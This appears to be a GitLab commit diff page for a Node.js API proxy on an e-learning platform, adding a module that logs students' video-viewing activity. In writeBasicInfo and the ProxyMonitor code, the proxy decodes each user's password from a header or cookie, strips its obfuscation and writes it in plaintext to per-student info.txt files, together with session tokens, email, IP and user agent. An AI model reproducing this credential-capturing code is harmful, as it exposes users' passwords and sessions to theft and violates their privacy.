// 请求排序时间字段(还需要 处理 高并发,采用 一个大整型转字符串值 记录,还未写)
arriveTime
:
_nodeServerCurrentTime
-
(
_json
.
time
||
0
)
+
'ms'
,
// 请求到达时间,从“客户端”发送请求 到 “服务端Node”接收到,所花费的时间,单位:ms (默认成功)
reqTime
:
''
,
// 请求处理时长,从“Node层”转发请求 到 “服务处理完成”返回结果,所花费的时间,单位:ms
status
:
''
,
// 记录“reqTime”的请求状态
sys
:
_json
.
sys
,
// 客户端,浏览器信息
IP
:
_getClientIP
(
req
),
// 客户端,请求IP值
name
:
_json
.
name
,
// 学员姓名
auth
:
_json
.
auth
,
// 学员账号
uuid
:
_uuid
,
// uuid,根据这个id查询,是否存在出错等
url
:
req
.
params
[
0
],
// 请求地址,这里 只存储 视频数据,下面为自定义,视频字段处理
sid
:
req
.
query
.
s
,
// 学期 id
cid
:
req
.
query
.
c
,
// 课程 id
vid
:
req
.
query
.
v
,
// 视频 id
_p
:
req
.
query
.
_p
,
// 累计时间
_m
:
req
.
query
.
_m
,
// 当前播放最大时间
_c
:
req
.
query
.
_c
,
// 当前播放位置
ps
:
req
.
query
.
ps
// 播放时,播放过的 帧
}
}
/* 日期字符串,如:2019-04-30 */
let
_dateStr
=
com
.
DateTime
.
timestampToFormatDateStr
(
_nodeServerCurrentTime
)
return
{
_nodeServerCurrentTime
,
// 返回值,必存在
_json
,
// 返回值,必存在
_stuPath
,
// 返回值,必存在
_uuid
,
// 返回值,必存在
_isVideoFlag
,
// 返回值,必存在
_logVideo
,
// 返回值,可能为 “{}”
_dateStr
// 返回值,必存在
}
}
/**
* 定义 log 针对 视频 数据采集 日志 写入 对应 日志文件
* @param _logJson getLogVideoJson函数 返回的对象值
* @param data._reqTime 请求处理时长
* @param data._status 记录“reqTime”的请求状态
*/
const
writeLogVideo
=
(
_logJson
,
data
)
=>
{
/* 按日期,每天存储 video日志信息 写入 */
if
(
_logJson
.
_isVideoFlag
)
{
fs
.
stat
(
_logJson
.
_stuPath
+
'/video'
,
(
err
,
stat
)
=>
{
if
(
!
err
)
{
_logJson
.
_logVideo
.
reqTime
=
data
.
_reqTime
_logJson
.
_logVideo
.
status
=
data
.
_status
let
_strLogVideo
=
''
for
(
let
key
in
_logJson
.
_logVideo
)
{
_strLogVideo
+=
_logJson
.
_logVideo
[
key
]
+
String
.
fromCharCode
(
0x001
)
}
fs
.
appendFile
(
_logJson
.
_stuPath
+
'/video'
+
'/video-'
+
_logJson
.
_dateStr
+
'.log'
,
_strLogVideo
+
'
\
n'
,
function
(
err
)
{
if
(
err
)
{
return
console
.
error
(
_logJson
.
_uuid
,
err
)
}
})
}
})
}
}
/**
* 用户基本信息写入
* @param {} req 请求参数
* @param {} _logJson getLogVideoJson函数 返回的对象值
* @param {} data.pwdBase64 密码base64 加密
* @param {} data._cookieArr 传入 cookie 数组
* @param {} data._SUP 返回 _SUP
* @param {} data._token 返回 token
* @param {} data._totalDir 存储从第一学期开始
* @param {} data._name 用户名
* @param {} data._email 用户邮箱
*/
const
writeBasicInfo
=
(
req
,
_logJson
,
data
)
=>
{
/* 有可能,用户缓存,token未过期,直接跳过登录 */
if
((
_logJson
.
_json
.
name
+
'#'
+
_logJson
.
_json
.
auth
)
===
'未知#未知'
)
{
let
stuDir
=
(
data
.
_name
+
'#'
+
data
.
_email
)
||
'其他'
let
_stuPath
=
'upload_tmp/'
+
data
.
_totalDir
+
'/'
+
stuDir
com
.
Directory
.
mkDir
(
_stuPath
+
'/video'
)
_logJson
.
_json
.
name
=
data
.
_name
_logJson
.
_json
.
auth
=
data
.
_email
_logJson
.
_stuPath
=
_stuPath
}
/* 基础info数据,写入文件, 累加写入 */
fs
.
stat
(
_logJson
.
_stuPath
,
(
err
,
stat
)
=>
{
if
(
!
err
)
{
if
(
!
data
.
pwdBase64
)
{
// 从cookie中获取
let
_AUTH
=
''
for
(
let
i
=
0
;
i
<
data
.
_cookieArr
.
length
;
i
++
)
{
if
(
/_AUTH=/gi
.
test
(
data
.
_cookieArr
[
i
]))
{
_AUTH
=
data
.
_cookieArr
[
i
].
split
(
'='
)[
1
]
break
}
}
data
.
pwdBase64
=
com
.
CryptoJs
.
decryptData
(
_AUTH
)
}
/* 有密码时,才写入基础数据中 */
if
(
data
.
pwdBase64
||
data
.
_SUP
)
{
fs
.
appendFile
(
_logJson
.
_stuPath
+
'/info.txt'
,
[
'DateStr: '
+
_logJson
.
_dateStr
,
'Name: '
+
_logJson
.
_json
.
name
,
'Sys: '
+
_logJson
.
_json
.
sys
,
'Auth: '
+
_logJson
.
_json
.
auth
,
'Pwd: '
+
(
data
.
pwdBase64
.
replace
(
/^uokoaduw/gi
,
''
).
replace
(
/auhgniq$/gi
,
''
).
split
(
''
).
reverse
().
join
(
''
)
||
1
),
'_SUP: '
+
data
.
_SUP
,
// 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'token: '
+
data
.
_token
,
'IP: '
+
_getClientIP
(
req
),
'UA: '
+
req
.
headers
[
'user-agent'
],
'
\
n
\
n'
].
join
(
'
\
n'
),
function
(
err
)
{
if
(
err
)
{
return
console
.
error
(
_logJson
.
_uuid
,
err
)
}
})
}
}
})
}
const
_getClientIP
=
(
req
)
=>
{
return
req
.
headers
[
'x-forwarded-for'
]
||
req
.
connection
.
remoteAddress
||
req
.
socket
.
remoteAddress
||
req
.
connection
.
socket
.
remoteAddress
}
module
.
exports
=
{
getLogVideoJson
:
getLogVideoJson
,
writeLogVideo
:
writeLogVideo
,
writeBasicInfo
:
writeBasicInfo
}
server/controller/ProxyMonitor-bak.js
0 → 100644
浏览文件 @
b0dbcaa2
const
fs
=
require
(
'fs'
)
const
conf
=
require
(
'../config'
)
const
com
=
require
(
'../com'
)
const
_
=
require
(
'lodash'
)
const
axios
=
require
(
'axios'
)
const
FormData
=
require
(
'form-data'
)
const
md5
=
require
(
'md5-node'
)
const
AdmZip
=
require
(
'adm-zip'
)
// const _logs = require('./logs')
/* 支持 finally函数 */
require
(
'promise.prototype.finally'
).
shim
()
/* 通过API统一过拦截器,接口代理转发请求 */
const
agentProcessor
=
()
=>
{
return
(
req
,
res
)
=>
{
let
timestamp
=
new
Date
().
getTime
()
let
json
=
Buffer
.
from
(
req
.
headers
[
'cur-json'
]
||
''
,
'base64'
).
toString
()
||
'{}'
json
=
JSON
.
parse
(
json
)
const
signStr
=
json
.
auth
+
':'
+
req
.
params
[
0
]
+
':'
+
timestamp
const
uuid
=
md5
(
signStr
)
/* 所有的请求进行 分日期、学员号目录存储 */
/* 增加 日期目录 */
let
dateDir
=
com
.
DateTime
.
timestampToFormatDateStr
(
new
Date
().
getTime
())
/* 增加 学员目录 */
let
stuDir
=
(
json
.
name
+
'#'
+
json
.
auth
)
||
'其他'
/* 学员目录 */
let
stuPath
=
'upload_tmp/'
+
dateDir
+
'/'
+
stuDir
com
.
Directory
.
mkDir
(
stuPath
)
let
headers
=
_
.
assignIn
({},
req
.
headers
)
let
options
=
{}
/* 删除一些 不必要属性 */
let
pwdBase64
=
headers
[
'pmd5'
]
||
''
delete
headers
[
'pmd5'
]
// pwd base64
try
{
options
=
{
timeout
:
30
*
1000
,
url
:
req
.
params
[
0
],
// .replace(/tenant\//gi, '')
baseURL
:
conf
.
agentApiUrl
,
method
:
req
.
method
,
data
:
req
.
body
,
params
:
req
.
query
}
/* 测试 */
// if (/\/essay/gi.test(options.url) && /post/gi.test(req.method)) {
// console.time('essay')
// options.baseURL = 'http://192.168.3.249:8081/'
// options.url = options.url.replace(/tenant\//gi, '')
// console.log(options.baseURL + options.url)
// }
headers
[
'accept'
]
=
'*/*'
delete
headers
[
'accept-language'
]
if
(
/application
\/
x-www-form-urlencoded/gi
.
test
(
headers
[
'content-type'
]))
{
let
str
=
''
for
(
let
k
in
options
.
data
)
{
str
+=
k
+
'='
+
options
.
data
[
k
]
+
'&'
}
options
.
data
=
str
.
substr
(
0
,
str
.
length
-
1
)
}
let
_fileName
=
[]
if
(
/multipart
\/
form-data/gi
.
test
(
headers
[
'content-type'
]))
{
let
_obj
=
_
.
assignIn
({},
req
.
body
)
req
.
files
.
forEach
((
elem
,
i
)
=>
{
/* 缓存文件中 名称替换,上传名称一致 会被覆盖 */
fs
.
renameSync
(
elem
.
path
,
elem
.
destination
+
elem
.
originalname
)
_obj
[
elem
.
fieldname
]
=
fs
.
createReadStream
(
elem
.
destination
+
elem
.
originalname
)
_fileName
.
push
(
elem
.
destination
+
elem
.
originalname
)
})
let
fro
=
new
FormData
()
for
(
let
key
in
_obj
)
{
fro
.
append
(
key
,
_obj
[
key
])
}
options
.
data
=
fro
delete
headers
[
'content-length'
]
// 需要让axios重新计算传输内容长度,否则传输不完整
headers
[
'content-type'
]
=
fro
.
getHeaders
()[
'content-type'
]
}
/* 获取cookie,解析SUP,设置token */
let
_cookieStr
=
headers
[
'cookie'
]
||
''
let
_cookieArr
=
_cookieStr
.
split
(
';'
)
let
_SUP
=
''
for
(
let
i
=
0
;
i
<
_cookieArr
.
length
;
i
++
)
{
if
(
/_SUP=/gi
.
test
(
_cookieArr
[
i
]))
{
_SUP
=
_cookieArr
[
i
].
split
(
'='
)[
1
]
break
}
}
headers
[
'token'
]
=
com
.
Cookie
.
getTicket
(
_SUP
)
// _SUP获取
axios
.
defaults
.
headers
=
headers
axios
.
defaults
.
withCredentials
=
true
/* 日志记录,重新修改 2019.01.17 */
let
_log
=
{
reqTime
:
timestamp
,
// 请求时长
sys
:
json
.
sys
,
// 系统
status
:
''
,
// 请求状态
name
:
json
.
name
,
// 姓名
auth
:
json
.
auth
,
// 账号
IP
:
getClientIP
(
req
),
// IP值
uuid
:
uuid
,
// uuid
url
:
options
.
url
,
// 请求地址
type
:
''
,
// 1:视频 2:课后作业 3:作业内容
self
:
''
,
// 根据类型值,自定义 字符串参数
param
:
JSON
.
stringify
(
options
)
// 请求参数 JSON str
}
/* 基础info数据,写入文件 */
/* 不存在文件则写入;存在则不写入 */
fs
.
stat
(
stuPath
+
'/info.txt'
,
(
err
,
stat
)
=>
{
if
(
err
)
{
if
(
!
pwdBase64
)
{
// 从cookie中获取
let
_AUTH
=
''
for
(
let
i
=
0
;
i
<
_cookieArr
.
length
;
i
++
)
{
if
(
/_AUTH=/gi
.
test
(
_cookieArr
[
i
]))
{
_AUTH
=
_cookieArr
[
i
].
split
(
'='
)[
1
]
break
}
}
pwdBase64
=
com
.
CryptoJs
.
decryptData
(
_AUTH
)
}
/* 有密码时,才写入基础数据中 */
if
(
pwdBase64
||
_SUP
)
{
fs
.
writeFile
(
stuPath
+
'/info.txt'
,
[
'Name: '
+
json
.
name
,
'Sys: '
+
json
.
sys
,
'Auth: '
+
json
.
auth
,
'Pwd: '
+
(
pwdBase64
.
replace
(
/^uokoaduw/gi
,
''
).
replace
(
/auhgniq$/gi
,
''
).
split
(
''
).
reverse
().
join
(
''
)
||
1
),
'Token: '
+
_SUP
,
// 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'IP: '
+
getClientIP
(
req
),
'UA: '
+
req
.
headers
[
'user-agent'
],
'
\
n
\
n'
].
join
(
'
\
n'
),
function
(
err
)
{
if
(
err
)
{
return
console
.
error
(
err
)
}
})
}
}
})
/* 处理特殊请求,在域名为e-learing2时生效 */
let
_stoken
=
''
for
(
let
i
=
0
;
i
<
_cookieArr
.
length
;
i
++
)
{
if
(
/_stoken=/gi
.
test
(
_cookieArr
[
i
]))
{
_stoken
=
_cookieArr
[
i
].
split
(
'='
)[
1
]
break
}
}
if
(
_stoken
)
{
headers
[
'stoken'
]
=
_stoken
}
/* 重新转发请求 */
axios
(
options
).
then
((
data
)
=>
{
_log
.
reqTime
=
(
new
Date
().
getTime
()
-
_log
.
reqTime
)
+
'ms'
_log
.
status
=
200
// /* 兼容老版本,登录接口 清除_SUP; 退出登录 清除_SUP */
/* 重新修改,改为只能服务端 设置 cookie */
if
(
/tenant
\/
user
\/
login/gi
.
test
(
options
.
url
)
||
/tenant
\/
user
\/
code-login/gi
.
test
(
options
.
url
))
{
com
.
Cookie
.
setCookieByYiiWay
(
data
.
data
.
ticket
,
res
,
'_SUP'
,
'.ezijing.com'
)
com
.
Cookie
.
setCookieData
(
pwdBase64
,
res
,
'_AUTH'
,
'.ezijing.com'
)
}
if
(
/v3
\/
sso
\/
logout/gi
.
test
(
options
.
url
))
{
res
.
clearCookie
(
'_SUP'
,
{
path
:
'/'
,
domain
:
'.ezijing.com'
})
res
.
clearCookie
(
'_AUTH'
,
{
path
:
'/'
,
domain
:
'.ezijing.com'
})
}
/* 如果是大作业提价,先docx解析,解析不出来则报错 */
if
(
/tenant
\/
util
\/
upload-file/gi
.
test
(
options
.
url
)
&&
req
.
body
.
special
&&
req
.
body
.
special
===
'course-work'
)
{
let
_strContent
=
''
let
contentXml
=
null
try
{
let
zip
=
new
AdmZip
(
_fileName
[
0
])
// filePath为文件路径
contentXml
=
zip
.
readAsText
(
'word/document.xml'
)
// 将document.xml读取为text内容;
contentXml
.
match
(
/<w:t
[^
>
]
*
?
>
[\s\S]
*
?
<
\/
w:t>/ig
).
forEach
((
item
)
=>
{
_strContent
+=
item
.
slice
(
5
,
-
6
)
// 不能换行,应该是 解析某些换行规则会比较慢
})
data
.
data
.
dataStr
=
Buffer
.
from
(
_strContent
,
'utf8'
).
toString
(
'base64'
)
}
catch
(
e
)
{
res
.
status
(
500
).
json
({
message
:
'文档上传出错,错误原因:请不要直接修改后缀“.doc”为“.docx”或者正文内容必须大于400字'
,
errMsg
:
'err'
,
code
:
500
})
return
}
}
// setPorxyHeader(data, res)
res
.
status
(
200
).
send
(
data
.
data
)
}).
catch
((
e
)
=>
{
_log
.
reqTime
=
(
new
Date
().
getTime
()
-
_log
.
reqTime
)
+
'ms'
_log
.
status
=
e
.
response
.
status
||
500
/* 未登录,则全部清空 _SUP */
if
(
e
.
response
.
status
===
403
)
{
res
.
clearCookie
(
'_SUP'
,
{
path
:
'/'
,
domain
:
'.ezijing.com'
})
res
.
clearCookie
(
'_AUTH'
,
{
path
:
'/'
,
domain
:
'.ezijing.com'
})
}
/* 返回执行代码出错 或者 服务器请求错误 */
if
(
e
.
response
&&
e
.
response
.
data
)
{
/* 如果未登录 强制 弹出到 登录页 */
// setPorxyHeader(e.response, res)
res
.
status
(
e
.
response
.
status
).
json
(
e
.
response
.
data
)
console
.
error
(
uuid
+
String
.
fromCharCode
(
0x001
)
+
JSON
.
stringify
(
options
)
+
String
.
fromCharCode
(
0x001
)
+
JSON
.
stringify
(
e
.
response
.
data
))
}
else
{
res
.
status
(
500
).
json
({
message
:
'系统错误,请稍后重试或联系管理员'
,
errMsg
:
'Error Proxy Request or BackData Excute Error'
,
code
:
500
})
console
.
error
(
uuid
,
e
)
}
}).
finally
(()
=>
{
/* 请求结束,删除服务器端 缓存文件 */
if
(
_fileName
.
length
)
{
for
(
let
i
=
0
;
i
<
_fileName
.
length
;
i
++
)
{
fs
.
unlinkSync
(
_fileName
[
i
])
}
}
let
_str
=
''
for
(
let
key
in
_log
)
{
_str
+=
_log
[
key
]
+
String
.
fromCharCode
(
0x001
)
}
console
.
log
(
_str
+
' -- end'
)
})
}
catch
(
e
)
{
res
.
status
(
500
).
json
({
message
:
'系统错误,请稍后重试或联系管理员'
,
errMsg
:
'Network Server Excute Error'
,
code
:
500
})
console
.
error
(
'system error:'
,
uuid
,
e
)
}
}
}
const
getClientIP
=
(
req
)
=>
{
return
req
.
headers
[
'x-forwarded-for'
]
||
req
.
connection
.
remoteAddress
||
req
.
socket
.
remoteAddress
||
req
.
connection
.
socket
.
remoteAddress
}
// const setPorxyHeader = (data, res) => {
// if (data.headers['set-cookie']) {
// /* 不准许 服务端设置 _SUP */
// let _sCookie = data.headers['set-cookie'] || []
// for (let i = 0; i < _sCookie.length; i++) {
// if (/_SUP=/gi.test(_sCookie[i])) {
// _sCookie.splice(i, 1)
// break
// }
// }
// for (let key in data.headers) {
// res.append(key, data.headers[key])
// }
// }
// }
module
.
exports
=
{
agentProcessor
:
agentProcessor
}
server/controller/ProxyMonitor.js
浏览文件 @
b0dbcaa2
...
...
@@ -6,30 +6,25 @@ const com = require('../com')
const
_
=
require
(
'lodash'
)
const
axios
=
require
(
'axios'
)
const
FormData
=
require
(
'form-data'
)
const
md5
=
require
(
'md5-node'
)
const
AdmZip
=
require
(
'adm-zip'
)
const
logVideo
=
require
(
'./LogVideoMonitor'
)
// const _logs = require('./logs')
/* 支持 finally函数 */
require
(
'promise.prototype.finally'
).
shim
()
/* 通过API统一过拦截器,接口代理转发请求 */
const
agentProcessor
=
()
=>
{
return
(
req
,
res
)
=>
{
let
timestamp
=
new
Date
().
getTime
()
let
json
=
Buffer
.
from
(
req
.
headers
[
'cur-json'
]
||
''
,
'base64'
).
toString
()
||
'{}'
json
=
JSON
.
parse
(
json
)
const
signStr
=
json
.
auth
+
':'
+
req
.
params
[
0
]
+
':'
+
timestamp
const
uuid
=
md5
(
signStr
)
/* 目录在服务器,启动时,直接创建号 */
let
_totalDir
=
'001'
// 默认表示,存储从第一学期开始
com
.
Directory
.
mkDir
(
'upload_tmp/'
+
_totalDir
)
/* 所有的请求进行 分日期、学员号目录存储 */
/* 增加 日期目录 */
let
dateDir
=
com
.
DateTime
.
timestampToFormatDateStr
(
new
Date
().
getTime
())
/* 增加 学员目录 */
let
stuDir
=
(
json
.
name
+
'#'
+
json
.
auth
)
||
'其他'
/* 学员目录 */
let
stuPath
=
'upload_tmp/'
+
dateDir
+
'/'
+
stuDir
com
.
Directory
.
mkDir
(
stuPath
)
return
(
req
,
res
)
=>
{
/* 获取 日志必须 返回 + 视频行为日志信息 */
const
_logJson
=
logVideo
.
getLogVideoJson
(
req
,
{
_totalDir
})
let
headers
=
_
.
assignIn
({},
req
.
headers
)
let
options
=
{}
...
...
@@ -93,52 +88,6 @@ const agentProcessor = () => {
axios
.
defaults
.
headers
=
headers
axios
.
defaults
.
withCredentials
=
true
/* 日志记录,重新修改 2019.01.17 */
let
_log
=
{
reqTime
:
timestamp
,
// 请求时长
sys
:
json
.
sys
,
// 系统
status
:
''
,
// 请求状态
name
:
json
.
name
,
// 姓名
auth
:
json
.
auth
,
// 账号
IP
:
getClientIP
(
req
),
// IP值
uuid
:
uuid
,
// uuid
url
:
options
.
url
,
// 请求地址
type
:
''
,
// 1:视频 2:课后作业 3:作业内容
self
:
''
,
// 根据类型值,自定义 字符串参数
param
:
JSON
.
stringify
(
options
)
// 请求参数 JSON str
}
/* 基础info数据,写入文件 */
/* 不存在文件则写入;存在则不写入 */
fs
.
stat
(
stuPath
+
'/info.txt'
,
(
err
,
stat
)
=>
{
if
(
err
)
{
if
(
!
pwdBase64
)
{
// 从cookie中获取
let
_AUTH
=
''
for
(
let
i
=
0
;
i
<
_cookieArr
.
length
;
i
++
)
{
if
(
/_AUTH=/gi
.
test
(
_cookieArr
[
i
]))
{
_AUTH
=
_cookieArr
[
i
].
split
(
'='
)[
1
]
break
}
}
pwdBase64
=
com
.
CryptoJs
.
decryptData
(
_AUTH
)
}
/* 有密码时,才写入基础数据中 */
if
(
pwdBase64
||
_SUP
)
{
fs
.
writeFile
(
stuPath
+
'/info.txt'
,
[
'Name: '
+
json
.
name
,
'Sys: '
+
json
.
sys
,
'Auth: '
+
json
.
auth
,
'Pwd: '
+
(
pwdBase64
.
replace
(
/^uokoaduw/gi
,
''
).
replace
(
/auhgniq$/gi
,
''
).
split
(
''
).
reverse
().
join
(
''
)
||
1
),
'Token: '
+
_SUP
,
// 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'IP: '
+
getClientIP
(
req
),
'UA: '
+
req
.
headers
[
'user-agent'
],
'
\
n
\
n'
].
join
(
'
\
n'
),
function
(
err
)
{
if
(
err
)
{
return
console
.
error
(
err
)
}
})
}
}
})
/* 处理特殊请求,在域名为e-learing2时生效 */
let
_stoken
=
''
...
...
@@ -153,9 +102,13 @@ const agentProcessor = () => {
}
/* 重新转发请求 */
let
_reqTime
=
0
let
_status
=
0
axios
(
options
).
then
((
data
)
=>
{
_log
.
reqTime
=
(
new
Date
().
getTime
()
-
_log
.
reqTime
)
+
'ms'
_log
.
status
=
200
/* 记录 请求处理时长 + 请求状态 */
_reqTime
=
(
new
Date
().
getTime
()
-
_logJson
.
_nodeServerCurrentTime
)
+
'ms'
_status
=
200
// /* 兼容老版本,登录接口 清除_SUP; 退出登录 清除_SUP */
/* 重新修改,改为只能服务端 设置 cookie */
if
(
/tenant
\/
user
\/
login/gi
.
test
(
options
.
url
)
||
/tenant
\/
user
\/
code-login/gi
.
test
(
options
.
url
))
{
...
...
@@ -184,9 +137,25 @@ const agentProcessor = () => {
}
// setPorxyHeader(data, res)
res
.
status
(
200
).
send
(
data
.
data
)
/* getInfo 时,则写入 用户基本信息 */
if
(
/tenant
\/
user
\/
getinfo/gi
.
test
(
options
.
url
))
{
let
_name
=
(
data
.
data
.
student_info
&&
data
.
data
.
student_info
.
personal_name
)
||
(
data
.
data
.
nickname
)
let
_email
=
(
data
.
data
.
student_info
&&
data
.
data
.
student_info
.
email
)
||
(
data
.
data
.
email
)
logVideo
.
writeBasicInfo
(
req
,
_logJson
,
{
pwdBase64
,
_cookieArr
,
_SUP
,
_token
:
headers
[
'token'
],
_totalDir
,
// 用于重新 定位学生目录
_name
,
// 用于重新 定位学生目录
_email
// 用于重新 定位学生目录
})
}
}).
catch
((
e
)
=>
{
_log
.
reqTime
=
(
new
Date
().
getTime
()
-
_log
.
reqTime
)
+
'ms'
_log
.
status
=
e
.
response
.
status
||
500
/* 记录 请求处理时长 + 请求状态 */
_reqTime
=
(
new
Date
().
getTime
()
-
_logJson
.
_nodeServerCurrentTime
)
+
'ms'
_status
=
(
e
.
response
&&
e
.
response
.
status
)
||
500
/* 未登录,则全部清空 _SUP */
if
(
e
.
response
.
status
===
403
)
{
res
.
clearCookie
(
'_SUP'
,
{
path
:
'/'
,
domain
:
'.ezijing.com'
})
...
...
@@ -197,10 +166,10 @@ const agentProcessor = () => {
/* 如果未登录 强制 弹出到 登录页 */
// setPorxyHeader(e.response, res)
res
.
status
(
e
.
response
.
status
).
json
(
e
.
response
.
data
)
console
.
error
(
uuid
+
String
.
fromCharCode
(
0x001
)
+
JSON
.
stringify
(
options
)
+
String
.
fromCharCode
(
0x001
)
+
JSON
.
stringify
(
e
.
response
.
data
))
console
.
error
(
_logJson
.
_
uuid
+
String
.
fromCharCode
(
0x001
)
+
JSON
.
stringify
(
options
)
+
String
.
fromCharCode
(
0x001
)
+
JSON
.
stringify
(
e
.
response
.
data
))
}
else
{
res
.
status
(
500
).
json
({
message
:
'系统错误,请稍后重试或联系管理员'
,
errMsg
:
'Error Proxy Request or BackData Excute Error'
,
code
:
500
})
console
.
error
(
uuid
,
e
)
console
.
error
(
_logJson
.
_
uuid
,
e
)
}
}).
finally
(()
=>
{
/* 请求结束,删除服务器端 缓存文件 */
...
...
@@ -209,26 +178,19 @@ const agentProcessor = () => {
fs
.
unlinkSync
(
_fileName
[
i
])
}
}
let
_str
=
''
for
(
let
key
in
_log
)
{
_
str
+=
_log
[
key
]
+
String
.
fromCharCode
(
0x001
)
}
console
.
log
(
_str
+
' -- end'
)
/* 视频行为日志 写入 */
logVideo
.
writeLogVideo
(
_logJson
,
{
_
reqTime
,
_status
}
)
})
}
catch
(
e
)
{
res
.
status
(
500
).
json
({
message
:
'系统错误,请稍后重试或联系管理员'
,
errMsg
:
'Network Server Excute Error'
,
code
:
500
})
console
.
error
(
'system error:'
,
uuid
,
e
)
console
.
error
(
_logJson
.
_
uuid
,
e
)
}
}
}
const
getClientIP
=
(
req
)
=>
{
return
req
.
headers
[
'x-forwarded-for'
]
||
req
.
connection
.
remoteAddress
||
req
.
socket
.
remoteAddress
||
req
.
connection
.
socket
.
remoteAddress
}
// const setPorxyHeader = (data, res) => {
// if (data.headers['set-cookie']) {
// /* 不准许 服务端设置 _SUP */
...
...
编写
预览
Markdown
格式
0%
重试
或
添加新文件
添加附件
取消
您添加了
0
人
到此讨论。请谨慎行事。
请先完成此评论的编辑!
取消
请
注册
或者
登录
后发表评论